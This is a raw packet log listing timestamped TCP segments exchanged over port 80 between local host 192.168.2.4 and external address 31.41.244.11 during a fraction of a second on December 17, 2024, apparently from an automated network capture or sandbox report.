Dec 17, 2024 22:06:35.332417011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.332993984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.333133936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.333201885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.334286928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.334340096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.334423065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.334489107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.336191893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.336229086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.336282969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.337790012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.337883949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.337938070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.339495897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.339550018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.339570045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.341152906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.341155052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.341203928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.341409922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.341459990 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.343080997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.343136072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.343204975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.343255043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.344465971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.344499111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.344523907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.344552040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.346055031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.346152067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.346204042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.347635984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.347783089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.347835064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.349240065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.349293947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.349391937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.349442005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.350826979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.350893974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.350930929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.350984097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.352372885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.352421999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.352426052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.352468967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.353916883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.353969097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.354012966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.354063988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.355479002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.355530977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.355552912 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.355572939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.356936932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.356988907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.357144117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.357500076 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.358422041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.358525038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.358575106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.358623981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.359916925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.359972000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.360048056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.360132933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.361391068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.361440897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.361507893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.361603975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.362838984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.362974882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.363032103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.364295959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.364356041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.364418983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.365051985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.365757942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.365808964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.365856886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.365906954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.367471933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.367525101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.367526054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.367564917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.368721962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.368798971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.368864059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.368922949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.370044947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.370093107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.370102882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.370160103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.371515036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.371562958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.371582985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.371634007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.372829914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.372875929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.372944117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.372992039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.374269962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.374331951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.374454975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.374516010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.375650883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.375777006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.375798941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.375824928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.377049923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.377100945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.377213001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.377350092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.378423929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.378571033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.378633022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.378680944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.379898071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.379950047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.380017996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.380156040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.381320953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.381373882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.381433964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.382649899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.382703066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.382739067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.382786989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.384074926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.384129047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.384191036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.384272099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.385484934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.385535002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.385615110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.385662079 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.386859894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.386913061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.386977911 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.387106895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.388261080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.388335943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.388376951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.388427973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.389672995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.389744043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.389777899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.389828920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.391180992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.391232014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.391453028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.391525030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.392486095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.392538071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.392546892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.392582893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.393992901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.394037008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.394081116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.394094944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.395282030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.395333052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.395510912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.395575047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.396719933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.396941900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.396997929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.398107052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.398282051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.398339033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.399503946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.399558067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.399637938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.399688005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.400934935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.400988102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.401436090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.401551008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.402369022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.402421951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.402621031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.402669907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.403765917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.403820038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.404048920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.404100895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.405141115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.405195951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.405273914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.405335903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.406582117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.406930923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.406991959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.407953024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.408116102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.408176899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.408240080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.409336090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.409497023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.524610043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.524672985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.524741888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.524782896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.524991989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.525218964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.525273085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.526120901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.526345015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.526396036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.527262926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.527332067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.527555943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.527610064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.528361082 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.528414965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.528506041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.528556108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.529498100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.529551029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.529766083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.529815912 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.530550003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.530642986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.530698061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.531616926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.531728983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.531764984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.531810999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.532613993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.532658100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.533231974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.533375978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.533685923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.533946037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.534162045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.534229040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.534789085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.534847975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.534981966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.535031080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.535825014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.535938025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.535978079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.536041975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.536901951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.537019968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.537291050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.537343979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.537980080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.538041115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.538420916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.538472891 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.539047956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.539098024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.539638042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.539688110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.540071011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.540121078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.540344000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.540425062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.541150093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.541254044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.541306973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.542227030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.542278051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.542316914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.542365074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.543309927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.543462992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.543494940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.543508053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.544378042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.544509888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.544547081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.544559002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.545449972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.545698881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.545753002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.546540976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.546575069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.546601057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.546619892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.547596931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.547667027 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.547677040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.547728062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.548614979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.548670053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.548919916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.548970938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.549710035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.549838066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.549901962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.549952984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.550795078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.550857067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.550913095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.550959110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.551851034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.551968098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.552011013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.552150011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.552910089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.552967072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.553133011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.553185940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.553981066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.554035902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.554084063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.554133892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.555032969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.555082083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.555146933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.555238962 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.556063890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.556174994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.556303024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.556354046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.557161093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.557214975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.557214975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.557425022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.558224916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.558276892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.558283091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.558340073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.559345961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.559393883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.559473991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.559520960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.560417891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.560471058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.560475111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.560517073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.561455011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.561500072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.561728001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.561773062 CET	49825	80	192.168.2.4	31.41.244.11
